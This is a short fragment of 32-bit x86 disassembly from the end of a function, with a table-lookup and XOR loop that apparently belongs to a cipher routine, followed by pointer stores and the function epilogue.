movzx ecx, bl
add eax, dword [ecx*4 + 0x10004c48]
xor eax, dword [ebp - 4]
sub dword [ebp - 8], 1
mov dword [ebp - 4], edi
jne 0x10001024
mov edx, dword [ebp - 0xc]
mov ecx, dword [0x10004044]
xor ecx, edi
pop edi
mov dword [edx], ecx
mov ecx, dword [0x10004040]
xor ecx, eax
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret